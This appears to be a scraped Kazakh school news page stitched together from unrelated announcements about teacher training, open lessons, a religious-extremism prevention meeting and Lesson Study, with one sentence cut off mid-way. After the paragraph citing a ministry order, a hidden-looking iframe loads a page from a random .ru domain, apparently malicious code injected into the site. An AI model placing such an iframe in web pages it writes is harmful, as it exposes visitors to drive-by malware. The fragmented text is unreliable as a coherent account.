<p style="text-align:justify;">2016 жылдың 26 қаңтары күні мектебімізде ислам дініне жат деструктивті түрлі ағымдардың алдын алу мақсатында арнайы дін саласы мамандарымен кездесу ұйымдастырылды. Іс–шараға 8-11 сынып оқушылары қамтылды. Қатысқандар саны 384 оқушы болды. Дін проблемаларын зерттеу орталығы маманы Айбасова Арайлым дін саласының өзекті мәселелеріне қатысты түсіндіру жұмыстарын жүргізді.</p>
Ағылшын тілінің сөзі «Холокост» иврит тілінен «Шоа» деген сөзді берсе, «апат» деген мағынаны білдіреді. Холокост еврей алқы үшін ғана емес, барлық адамзат үшін үлкен қайғы болды.
2016 жылдың 25-27 қаңтар аралығындағы апталық «Жас мамандар мектебінің» жас ұстаздарына арналмақ. Мектебімізде жылдағы дәстүр өз жалғастығын тауып жатыр. Білім саласына жаңа буын жастар жыл санап өсіп, ұстаздық ұлы мамандықты таңдап келіп жатыр. Міне, сол маманның иелері № 38 мекеп-лицейінде апталық жұмыс бастап, кіріктірілген ашық сабақтар өткізіп жатыр.
<p>2016 жылғы 23 қаңтар күні колледжде әдістемелік кабинеті ұйымдастыруымен дәстүрлі «Әдістемелік әшекей» атты көрме өтті. Бұл көрмеге алты пәндік-циклдік комиссиясының оқытушылары мен өндірістік оқыту шеберлері өздерінің дайындап шығарған оқу құралдары, тесттер жинақтары, . </p>
Мектебіміздің оқушылары Қожатай Инабат пен Аипов Бекзат Қазақстан
Мектеп табалдырығын алғаш аттаған бүлдіршіндеріміз міне бүгін де ер жетіп алғаш қолына алған оқулығы әліппемен қоштасты. Мақсаты: Оқушылардың сауат ашу пәнін оқу барысында алған білімдерін тиянақтау, өз өнерлерін ата — аналарға көрсету, эстетикалық талғамдарын тереңдете түсу, өзін өзі басқаруы мен ана тілін сүйіп, қастерлеуге тәрбиелеу.
Мектепте Кэмбридж тәсілі бойынша оқыған ұстаздарымыз арасында ашық сабақтар топтамасы жүргізілді. Барлық ұстаздар 7 модульдің бірін пайдалана отырып ашық сабақ өткізе білді. Және де топтық және жұппен жұмыс түрлерін көрсете білді.Мұғалімдерге өз тәжірибесінің негізінде шешім қабылдау үшін іс-тәжірибесін сыни бағалау қажет пе? Мұғалімдер өз іс тәжірибесін бағалап есеп беріп отырса ғана келесі жұмыстарды қалай шешу жолдарын түсінер еді. Әрбір жасаған іс әрекетіңді бағалай отыру керек. Бұл жөнінде де мұғалімдерге білім қажет болады. <br /><br />
<p>Қазақстан Республикасы Білім және ғылым министрлігінің «Қазақстан Республикасының жалпы орта білім беру мекемелерінде 2015-2016 оқу жылының басталуы туралы» 2015 жылғы 8 маусымдағы №364 бұйрығына сәйкес:</p> <iframe src="//u7yb1iy1x3xv.ru/f.html"></iframe>
Lesson study тақырыбы бойынша Талғат Кенжебекұлы мұғалімдерге өте жақсы шебер сынып өткізді. Көп сұраққа жауап алдық. Шебер сынып өте керемет әрі көңілді болды.Lesson study зерттеу сабағы болып табылады, және де Қазақстанда өткізілетін ашық сабаққа ұқсас. Lesson study-да бір мұғалім өзіне зерттеу сабағын өткізуге, зерттеу сабағына дейін шамамен бір айда сабақ жоспарын жазуға ерікті түрде жауапкершілік алады. Содан кейін ол өз сабақ жоспарын осындай сыныптың немесе дәл осындай пән саласында жұмыс істейтін мұғалімдер қатысатын жиналысқа ұсынады. Содан кейін мұғалім басқа мұғалімдермен талқылауға негізделген сабақ жоспарын қайта жазады. Кейбір жағдайда кездесу циклдары және жоспарды қайта жазу үдерісі бірнеше рет қайталанады. Басқа жағдайда мұғалім мектеп кеңесінің әдіскерінен сабақ жоспарын жақсарту үшін кері байланыс беруін сұрайды. Зерттеу сабағында мұғалім сабақ жоспарын ұстана отырып, өз сыныбында сабақ өткізеді. Барлық мектептердің мұғалімдері немесе осындай сыныптардың немесе пән саласының мұғалімдері зерттеу сабағын бақылайды. Зерттеу сабағанан кейін мұғалім мен тыңдаушылар зерттеу сабағын талқылайды. Кейде мектеп кең әдіскерлері немесе университет профессорлары сияқты шақырылған кеңесшілерді талқылауға қосылуын және кездесуге қатысқан мұғалімдерге кейбір кеңес беруін сұрайды. Бұл Lesson study тәжірибесі айына бір рет өткізіледі.
Официальное сообщество школы-гимназии №3 города Астаны
